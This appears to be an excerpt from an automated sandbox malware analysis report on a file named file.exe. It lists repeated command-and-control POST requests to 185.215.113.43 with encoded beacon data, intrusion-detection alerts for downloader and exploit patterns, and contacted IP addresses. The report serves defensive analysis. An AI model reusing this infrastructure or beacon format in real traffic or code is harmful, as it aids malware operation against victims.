Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49827 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49953 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50115 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50116 -> 23.50.98.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50119 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50118 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50120 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50121 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50124 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50126 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50127 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50131 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50129 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50136 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50141 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50143 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50147 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50149 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50151 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50153 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50155 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50156 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50165 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:61383 -> 40.79.150.121:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50135 -> 23.50.98.133:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.6:49806
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.6:50111

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBECC60 PR_Recv,

0_2_6CBECC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
